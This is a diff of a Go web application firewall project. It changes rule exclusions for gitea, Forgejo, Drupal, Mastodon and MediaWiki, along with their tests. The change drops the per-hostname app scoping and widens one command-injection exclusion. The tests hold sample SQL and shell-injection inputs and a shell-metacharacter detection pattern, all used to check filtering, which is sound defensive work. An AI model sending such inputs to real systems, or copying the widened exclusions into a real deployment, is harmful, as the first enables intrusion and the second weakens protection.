@@ -473,131 +470,6 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
matched(930120, 932160)) matched(930120, 932160))
} }
// giteaFixed are gitea requests that only gitea's fixes let through, one
// for each kind of fix, each with what the Core Rule Set finds in it
// without them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaFixed = []struct {
request request
result coreruleset.Result
}{
// A search of code, on the path of gitea's search.
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
// A file name, in a parameter gitea sends names in, on any path.
{get("/?path=.gitignore"), matched(930120)},
// A file name, in a cookie of gitea's.
{
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
matched(930120),
},
// A page opened from the page of a file named for a Java class.
{
get("/", "Referer: https://git.example/owner/repo/src/branch/main/"+
"java.lang.String.md"),
matched(944130),
},
// An image push that reuses a layer, naming the image the layer comes from.
{get("/v2/owner/app/blobs/uploads/?from=python3"), matched(932260)},
}
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
// one that serves another app.
const (
giteaHost = "git.example"
otherHost = "blog.example"
)
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
// wordpress is WordPress's name in SWW_APPS.
const wordpress = "wordpress"
// withHost returns r sent to host.
func withHost(r request, host string) request {
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
}
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
// giving apps.
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
})
}
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, nil)
for _, fixed := range giteaFixed {
for _, host := range []string{giteaHost, otherHost} {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
// The hostname is matched without the port and without regard to case.
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
t.Parallel()
for _, apps := range []map[string][]string{
{giteaHost: {gitea}},
// SWW_APPS set empty lists no hostname.
{},
} {
crs := servingApps(t, apps)
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
}
}
}
}
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {wordpress},
})
// A search, which only WordPress's fixes let through.
search := get("/?s=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
// A file name that only gitea's fixes let through, and a search that only
// WordPress's fixes let through.
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
}
}
// withExclusions returns the Core Rule Set at the defaults, with the // withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path. // exclusions file at path.
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) { func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
@@ -1191,6 +1063,50 @@ func TestGiteaAttacksAreRefused(t *testing.T) {
} }
} }
func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
// The searches of a user's and of an organisation's repositories.
for _, target := range []string{
"/alice?tab=repositories&q=ls%20-la",
"/acme?q=ls%20-la&sort=recentupdate",
"/jane.doe?tab=repositories&q=ls%20-la",
} {
wantResult(t, crs, get(target), coreruleset.Result{})
}
// 932250 still applies on a path that ends in a server-side script's
// extension or holds a character no name holds, to another field, and on
// a path of two segments.
for _, target := range []string{
"/index.php?q=ls%20-la",
"/INDEX.PHP?q=ls%20-la",
"/index%2Ephp?q=ls%20-la",
"/search.cgi?q=ls%20-la",
"/login.jsp;jsessionid=abc?q=ls%20-la",
"/alice?tab=ls%20-la",
"/alice/tools?q=ls%20-la",
} {
wantResult(t, crs, get(target), matched(932250))
}
// A command after a ";" in q is still refused on each of these paths.
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, target := range []string{
"/alice?tab=repositories&q=",
"/index.php?q=",
"/wp-login.php?q=",
"/alice/tools?q=",
} {
if got := inspect(t, crs, get(target+commandInjection)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
}
}
}
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the // WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
// REST API routes of a post and of the tags. // REST API routes of a post and of the tags.
const ( const (
+1 -10
View File
@@ -1,4 +1,4 @@
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused # The tenth change: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a # ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the # search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the # request, before the rules it switches off, so this file is loaded before the
@@ -25,13 +25,6 @@
# 932230: ls -la # 932230: ls -la
# 932235: python3 # 932235: python3
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_drupal when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_drupal itself.
SecRule &TX:app_drupal "@eq 0" \
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
# Every admin page's filters and autocompletes, and the page to return to: # Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3 # title: /admin/content?title=python3
# name: /admin/content/media?name=python3 # name: /admin/content/media?name=python3
@@ -330,5 +323,3 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
SecRule &ARGS_GET:json.mail "@eq 0" \ SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\ "ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail" ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
SecMarker END_DRUPAL
-16
View File
@@ -5,8 +5,6 @@ import (
"net/url" "net/url"
"slices" "slices"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -39,20 +37,6 @@ const drupalEditAccount = "/user/2/edit"
// drupalName is the field for a person's name, as the start of a form body. // drupalName is the field for a person's name, as the start of a form body.
const drupalName = "name=" const drupalName = "name="
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"drupal"},
})
// A search, which only Drupal's fixes let through.
search := get("/search?keys=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
// drupalAttacks are an SQL injection, a path traversal and a script // drupalAttacks are an SQL injection, a path traversal and a script
// injection, as a query value. // injection, as a query value.
// //
+6 -20
View File
@@ -1,16 +1,9 @@
# Forgejo's fixes: on Forgejo's paths, some fields skip the rules that refused # The fifteenth change: on Forgejo's paths, some fields skip the rules that
# ordinary Forgejo requests there. Forgejo is a fork of gitea. A hostname that # refused ordinary Forgejo requests there. Forgejo is a fork of gitea, and the
# gets Forgejo's fixes gets gitea's too, so this file holds only what Forgejo # eighth change's fixes for gitea apply to its requests too, so this file holds
# sends and gitea does not. Each exclusion runs with the request, before the # only what Forgejo sends and gitea does not. Each exclusion runs with the
# rules it switches off, so this file is loaded before the Core Rule Set's # request, before the rules it switches off, so this file is loaded before the
# rules. Each comment names a request the rule refused. # Core Rule Set's rules. Each comment names a request the rule refused.
# Unless SWW_APPS lists forgejo for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_forgejo when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_forgejo itself.
SecRule &TX:app_forgejo "@eq 0" \
"id:900670,phase:1,pass,nolog,skipAfter:END_FORGEJO"
# Forgejo's search of a wiki sends the text searched for in q, which skips # Forgejo's search of a wiki sends the text searched for in q, which skips
# these rules there: # these rules there:
@@ -26,10 +19,3 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
ctl:ruleRemoveTargetById=932160;ARGS:q,\ ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\ ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q" ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo's admin page searches the names of repositories in q on /admin/repos,
# which skips the list of command names (932260) there. It refused python3.
SecRule REQUEST_FILENAME "@streq /admin/repos" \
"id:900691,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:q"
SecMarker END_FORGEJO
+3 -47
View File
@@ -4,59 +4,15 @@ import (
"net/http" "net/http"
"slices" "slices"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// forgejo is Forgejo's name in SWW_APPS.
const forgejo = "forgejo"
// forgejoHost is the hostname of the tests of SWW_APPS that serves Forgejo.
const forgejoHost = "code.example"
func TestForgejoFixesApplyOnlyToAHostnameThatServesForgejo(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
forgejoHost: {forgejo}, otherHost: {wordpress},
})
// A search of a wiki, a search of the admin page, and a file name in
// Forgejo's flash cookie, which only Forgejo's fixes let through.
for _, fixed := range []struct {
request request
result coreruleset.Result
}{
{get("/alice/tools/wiki/search?q=python3"), matched(932260)},
{get("/admin/repos?q=python3"), matched(932260)},
{
get("/alice/tools", "Cookie: flash=success%3DFile%2Bpackage.json%2Bdeleted"),
matched(930120),
},
} {
wantResult(t, crs, withHost(fixed.request, forgejoHost), coreruleset.Result{})
wantResult(t, crs, withHost(fixed.request, otherHost), fixed.result)
}
}
func TestHostnameListingForgejoGetsGiteasFixesToo(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{forgejoHost: {forgejo}})
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, forgejoHost), coreruleset.Result{})
}
}
// forgejoSearches are Forgejo's searches whose q skips some rules: the // forgejoSearches are Forgejo's searches whose q skips some rules: the
// wiki's and the admin page's, from Forgejo's fixes, and the searches for a // wiki's, from the fifteenth change, and the searches for a name, from the
// name, from gitea's. // eighth.
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var forgejoSearches = []string{ var forgejoSearches = []string{
"/alice/tools/wiki/search", "/alice/tools/wiki/search",
"/admin/repos",
"/explore/repos", "/explore/repos",
"/explore/users", "/explore/users",
"/alice/tools/branches", "/alice/tools/branches",
@@ -105,7 +61,7 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
// /bin/sh and the hard values, which q lets through on the wiki's // /bin/sh and the hard values, which q lets through on the wiki's
// search, stay refused in q on paths near it and in another field on it. // search, stay refused in q on paths near it and in another field on it.
// /alice/wiki/search would be the code search of a repository named // /alice/wiki/search would be the code search of a repository named
// wiki, where gitea's fixes let q through. Forgejo has no owner // wiki, where the eighth change lets q through. Forgejo has no owner
// named api, so /api/wiki/search is not one. // named api, so /api/wiki/search is not one.
for _, target := range []string{ for _, target := range []string{
"/alice/tools/wiki/Home?q=", "/alice/tools/wiki/Home?q=",
+19 -69
View File
@@ -1,55 +1,8 @@
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests. # The eighth change: on gitea's paths, some fields skip the rules that refused
# They are the fields where gitea sends a search, a file name or a branch name. # ordinary gitea requests there. They are the fields where gitea sends a search,
# Each exclusion runs with the request, before the rules it switches off, those # a file name or a branch name. Each exclusion runs with the request, before the
# of phase 1 included, so this file is loaded before the Core Rule Set's rules. # rules it switches off, those of phase 1 included, so this file is loaded before
# Each comment names a request the rule refused. # the Core Rule Set's rules. Each comment names a request the rule refused.
# Unless SWW_APPS lists gitea or its fork forgejo for the request's hostname,
# every rule below is skipped. Inspect sets tx.app_gitea when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_gitea itself.
SecRule &TX:app_gitea "@eq 0" \
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
# The query parameters in which gitea sends names within a repository or its
# own records, or a page of its own site, are not checked against the lists of
# system files, shell paths and command names, on any path:
# 930120: .gitignore
# 932160: bin/docker-entrypoint
# 932260: docker-build
# ARGS holds the fields of a form data or multipart body Coraza reads as well
# as the query parameters, so a field of these names is left out too.
SecAction "id:900591,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:path,\
ctl:ruleRemoveTargetById=930120;ARGS:files,\
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932160;ARGS:path,\
ctl:ruleRemoveTargetById=932160;ARGS:files,\
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932260;ARGS:path,\
ctl:ruleRemoveTargetById=932260;ARGS:files,\
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
# gitea's searches of code, of issues and pull requests, and of commits send the # gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there: # text searched for in q, which skips these rules there:
@@ -182,8 +135,8 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|\
ctl:ruleRemoveTargetById=932260;ARGS:q" ctl:ruleRemoveTargetById=932260;ARGS:q"
# The repositories on a user's or an organisation's page are searched with q # The repositories on a user's or an organisation's page are searched with q
# too. Their path has one segment, as other apps' pages such as /index.php do, # too. Their path has one segment, so q skips these rules on every path of one
# so q keeps 932250 there and skips only these rules: # segment, other apps' pages such as /index.php included:
# 930120: .profile # 930120: .profile
# 932120: powershell-scripts # 932120: powershell-scripts
# 932260: python3-app # 932260: python3-app
@@ -193,6 +146,16 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
ctl:ruleRemoveTargetById=932120;ARGS:q,\ ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q" ctl:ruleRemoveTargetById=932260;ARGS:q"
# On those pages q skips 932250 too, which refused ls -la, but only on a path
# made of the characters a user's or an organisation's name may hold. Those are
# letters, digits, -, _ and dots, the first a letter or digit, so
# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
# script's extension keeps it too, such as /index.php or /search.cgi.
SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
"id:900606,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
"t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
# These requests name a file in the path, which skips these rules there: # These requests name a file in the path, which skips these rules there:
# 920500: notes.txt~ # 920500: notes.txt~
# 934100: process.env.d.ts # 934100: process.env.d.ts
@@ -225,8 +188,8 @@ SecRule REQUEST_FILENAME \
# 942140: information_schema.sql # 942140: information_schema.sql
# 944110: java/lang/Runtime.java # 944110: java/lang/Runtime.java
# 944130: java.lang.String.md # 944130: java.lang.String.md
# Each request skips the rules that refused it. Rule 900591 already has path and # Each request skips the rules that refused it. The fourth change already has
# redirect_to skip 930120, 932160 and 932260 on every path. # path and redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file. # A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
@@ -398,16 +361,3 @@ SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_a
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\ ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\ ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/" ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
# Referer skips the rule on Java class names (944130). It refused every page
# opened from the page of java.lang.String.md.
SecAction "id:900641,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=944130;REQUEST_HEADERS:Referer"
# A container image push that reuses a layer names the image it takes the layer
# from in the query parameter from, which skips the list of command names
# (932260) there. It refused the push of a layer from owner/python3-app.
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
SecMarker END_GITEA
+1 -10
View File
@@ -1,4 +1,4 @@
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that # The twelfth change: on Mastodon's paths, some fields skip the rules that
# refused ordinary Mastodon requests there. They are the fields where Mastodon # refused ordinary Mastodon requests there. They are the fields where Mastodon
# sends a search, a name, a title, a file name, an address or free text. Each # sends a search, a name, a title, a file name, an address or free text. Each
# exclusion runs with the request, before the rules it switches off, so this # exclusion runs with the request, before the rules it switches off, so this
@@ -17,13 +17,6 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Unless SWW_APPS lists mastodon for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_mastodon when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mastodon itself.
SecRule &TX:app_mastodon "@eq 0" \
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
# The API's searches and names, in the query: # The API's searches and names, in the query:
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la # q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
# acct: /api/v1/accounts/lookup?acct=python3 # acct: /api/v1/accounts/lookup?acct=python3
@@ -304,5 +297,3 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\ "ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/" ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
SecMarker END_MASTODON
-14
View File
@@ -55,20 +55,6 @@ const (
mastodonStatus = "status=" mastodonStatus = "status="
) )
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"mastodon"},
})
// A search, which only Mastodon's fixes let through.
search := get("/api/v2/search?q=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
// mastodonQueryFields sends each field that skips 930120, 932120, 932250 // mastodonQueryFields sends each field that skips 930120, 932120, 932250
// and 932260 in the query, on a path where it skips them, ending in "=". // and 932260 in the query, on a path where it skips them, ending in "=".
// //
+3 -17
View File
@@ -1,4 +1,4 @@
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that # The eleventh change: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki # refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a # sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the # reason, and the fields that hold wikitext. Each exclusion runs with the
@@ -21,13 +21,6 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_mediawiki when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mediawiki itself.
SecRule &TX:app_mediawiki "@eq 0" \
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
# The pages and their titles, the searches, and the special pages' fields # The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address: # for a page, a user, a file or an address:
# title: /index.php?title=Python3_notes&action=history # title: /index.php?title=Python3_notes&action=history
@@ -215,12 +208,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title # Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
# of /index.php. A title on any other path does not count, so another app's # of /index.php. A title on any other path does not count, so another app's
# paths under /index.php/ keep every rule. These rules are in phase 2, because # paths under /index.php/ keep every rule. These rules are in phase 2, because
# the forms send authAction in the body. They check tx.app_mediawiki, since the # the forms send authAction in the body.
# skip above does not reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
"id:900919,phase:2,pass,nolog,chain" "id:900919,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain" SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain" SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
SecRule ARGS:authAction "@streq change" \ SecRule ARGS:authAction "@streq change" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\ "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
@@ -262,7 +253,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
"id:900920,phase:2,pass,nolog,chain" "id:900920,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain" SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:retype "@eq 0" "chain" SecRule &ARGS_GET:retype "@eq 0" "chain"
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \ SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\ "ctl:ruleRemoveTargetById=920270;ARGS:retype,\
@@ -391,12 +381,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# This rule is in phase 2, because a phase 1 rule runs before the body is read # This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles # and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip these rules for a second wpTitles # once, since it would otherwise skip these rules for a second wpTitles
# holding a command. It checks tx.app_mediawiki, since the skip above does not # holding a command.
# reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain" "id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain" SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain" SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain" SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \ SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
@@ -405,5 +393,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles" ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
SecMarker END_MEDIAWIKI
-76
View File
@@ -5,16 +5,11 @@ import (
"slices" "slices"
"strings" "strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5 const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_APPS.
const mediawiki = "mediawiki"
// mediawikiEdit is the address MediaWiki's edit form posts to. // mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit" const mediawikiEdit = "/index.php?title=Example&action=submit"
@@ -54,77 +49,6 @@ const (
mediawikiUploadPage = "/index.php/Special:Upload" mediawikiUploadPage = "/index.php/Special:Upload"
) )
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {mediawiki},
})
// A search, which only MediaWiki's fixes let through.
search := get("/index.php?title=Special:Search&search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
})
// A watchlist that only the phase 2 rule 900916 lets through.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
}
}
func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
})
// Passwords that only the phase 2 rules 900919 and 900920 let through,
// each sent with the authAction of its form.
for _, sent := range []struct{ target, body string }{
{
mediawikiAccountChange,
